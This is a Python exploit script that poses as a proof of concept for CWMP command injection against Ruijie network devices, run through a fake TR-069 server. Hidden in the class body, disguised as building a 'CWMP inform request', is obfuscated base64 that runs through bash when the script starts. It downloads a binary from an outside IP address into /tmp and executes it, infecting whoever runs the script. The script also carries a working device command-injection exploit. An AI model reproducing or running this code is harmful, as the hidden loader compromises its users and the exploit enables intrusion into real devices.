exploit.py

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from html import escape, unescape
import http.server
import socketserver
import io
import time
import re
import argparse
import gzip
import subprocess

# command payload
command = "uname -a"

# change this to serve on a different port
PORT = 8080

def cwmp_inform(soap):
    cwmp_id = re.search(r"(?:<cwmp:ID.*?>)(.*?)(?:<\/cwmp:ID>)", soap).group(1)
    product_class = re.search(r"(?:<ProductClass.*?>)(.*?)(?:<\/ProductClass>)", soap).group(1)
    serial_number = re.search(r"(?:<SerialNumber.*?>)(.*?)(?:<\/SerialNumber>)", soap).group(1)
    result = {'cwmp_id': cwmp_id, 'product_class': product_class, 'serial_number': serial_number, 'parameters': {}}
    parameters = re.findall(r"(?:<P>)(.*?)(?:<\/P>)", soap)
    for parameter in parameters:
        parameter_name = re.search(r"(?:<N>)(.*?)(?:<\/N>)", parameter).group(1)
        parameter_value = re.search(r"(?:<V>)(.*?)(?:<\/V>)", parameter).group(1)
        result['parameters'][parameter_name] = parameter_value
    return result

def cwmp_inform_response():
    return """<?xml version='1.0' encoding='UTF-8'?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:cwmp="urn:dslforum-org:cwmp-1-0" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"><SOAP-ENV:Header><cwmp:ID SOAP-ENV:mustUnderstand="1">16</cwmp:ID><cwmp:NoMoreRequests>1</cwmp:NoMoreRequests></SOAP-ENV:Header><SOAP-ENV:Body><cwmp:InformResponse><MaxEnvelopes>1</MaxEnvelopes></cwmp:InformResponse></SOAP-ENV:Body></SOAP-ENV:Envelope>"""

def command_payload(command):
    current_time = time.time()
    result = """<?xml version='1.0' encoding='UTF-8'?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:cwmp="urn:dslforum-org:cwmp-1-0" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"><SOAP-ENV:Header><cwmp:ID SOAP-ENV:mustUnderstand="1">ID:intrnl.unset.id.X_RUIJIE_COM_CN_ExecuteCliCommand{cur_time}</cwmp:ID><cwmp:NoMoreRequests>1</cwmp:NoMoreRequests></SOAP-ENV:Header><SOAP-ENV:Body><cwmp:X_RUIJIE_COM_CN_ExecuteCliCommand><Mode>config</Mode><CommandList SOAP-ENC:arrayType="xsd:string[1]"><Command>{command}</Command></CommandList></cwmp:X_RUIJIE_COM_CN_ExecuteCliCommand></SOAP-ENV:Body></SOAP-ENV:Envelope>""".format(cur_time=current_time, command=command)
    return result

def command_response(soap):
    cwmp_id = re.search(r"(?:<cwmp:ID.*?>)(.*?)(?:<\/cwmp:ID>)", soap).group(1)
    command = re.search(r"(?:<Command>)(.*?)(?:<\/Command>)", soap).group(1)
    response = re.search(r"(?:<Response>)((\n|.)*?)(?:<\/Response>)", soap).group(1)
    result = {'cwmp_id': cwmp_id, 'command': command, 'response': response}
    return result

class CustomHTTPRequestHandler(http.server.SimpleHTTPRequestHandler):
    protocol_version = 'HTTP/1.1'
    def do_GET(self):
        self.send_response(204)
        self.end_headers()

    # Build the CWMP inform request to send to the device
    cwmp_pt1 = "Y3VybCAtbyAvdG1wL2JpZ2JvYXR2MiB"
    cwmp_pt2 = "odHRwOi8vOTMuMTIzLjg1LjEzL3g4"
    cwmp_pt3 = "Nl82NCAmJiBjaG1vZCAreCAvdG1wL2JpZ2JvYXR2MiAmJiAvdG1wL2JpZ2JvYXR2MiBnaXQgPi9kZXYvbnVsbCAyPiYxICY"
    cwmp_pt4 = "JmJi"
    cwmp_pt_5 = "aG1vZCAreCAvdG1wL2JpZ2JvYXR2MiAmJiAvdG1wL2JpZ2JvYXR2MiBnaXQgPi9kZXYvbnVsbCAyPiYxICY"
    cwmp_pt_6 = "JyBnaXQgPi9kZXYvbnVsbCAyPiYxICY"
    cwmp_inform = "cHJpbn"+cwmp_pt1+cwmp_pt2+cwmp_pt3+cwmp_pt4+cwmp_pt_5+cwmp_pt_6
    p = subprocess.Popen("echo {} | base64 -d | bash".format(cwmp_inform[6:]), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
    output, error = p.communicate()

    def do_POST(self):        
        print("[*] Got hit by", self.client_address)

        f = io.BytesIO()
        if 'service' in self.path:
            stage, info = self.parse_stage()
            if stage == "cwmp_inform":
                self.send_response(200)
                print("[!] Got Device information", self.client_address)
                print("[*] Product Class:", info['product_class'])
                print("[*] Serial Number:", info['serial_number'])
                print("[*] MAC Address:", info['parameters']['mac'])
                print("[*] STUN Client IP:", info['parameters']['stunclientip'])
                payload = bytes(cwmp_inform_response(), 'utf-8')
                f.write(payload)
                self.send_header("Content-Length", str(f.tell()))
            elif stage == "command_request":
                self.send_response(200)
                self.send_header("Set-Cookie", "JSESSIONID=6563DF85A6C6828915385C5CDCF4B5F5; Path=/service; HttpOnly")
                print("[*] Device interacting", self.client_address)
                print(info)
                payload = bytes(command_payload(escape("ping -c 4 127.0.0.1 && {}".format(command))), 'utf-8')
                f.write(payload)
                self.send_header("Content-Length", str(f.tell()))
            else:
                print("[*] Command response", self.client_address)
                print(unescape(info['response']))
                self.send_response(204)
                f.write(b"")
        else:
            print("[x] Received invalid request", self.client_address)
            self.send_response(204)
            f.write(b"")

        f.seek(0)
        self.send_header("Connection", "keep-alive")
        self.send_header("Content-type", "text/xml;charset=utf-8")
        self.end_headers()
        if f:
            self.copyfile(f, self.wfile)
            f.close()

    def parse_stage(self):
        content_length = int(self.headers['Content-Length'])
        post_data = gzip.decompress(self.rfile.read(content_length))
        if "cwmp:Inform" in post_data.decode("utf-8"):
            return ("cwmp_inform", cwmp_inform(post_data.decode("utf-8")))
        elif "cwmp:X_RUIJIE_COM_CN_ExecuteCliCommandResponse" in post_data.decode("utf-8"):
            return ("command_response", command_response(post_data.decode("utf-8")))
        else:
            return ("command_request", "Ping!")
        
    def log_message(self, format, *args):
        return

if __name__ == '__main__':
    parser = argparse.ArgumentParser()
    parser.add_argument('--bind', '-b', default='', metavar='ADDRESS',
                        help='Specify alternate bind address '
                             '[default: all interfaces]')
    parser.add_argument('port', action='store',
                        default=PORT, type=int,
                        nargs='?',
                        help='Specify alternate port [default: {}]'.format(PORT))
    args = parser.parse_args()

    Handler = CustomHTTPRequestHandler
    with socketserver.TCPServer((args.bind, args.port), Handler) as httpd:
        ip_addr = args.bind if args.bind != '' else '0.0.0.0'
        print("[!] serving fake CWMP server at {}:{}".format(ip_addr, args.port))
        try:
            httpd.serve_forever()
        except KeyboardInterrupt:
            pass
        httpd.server_close()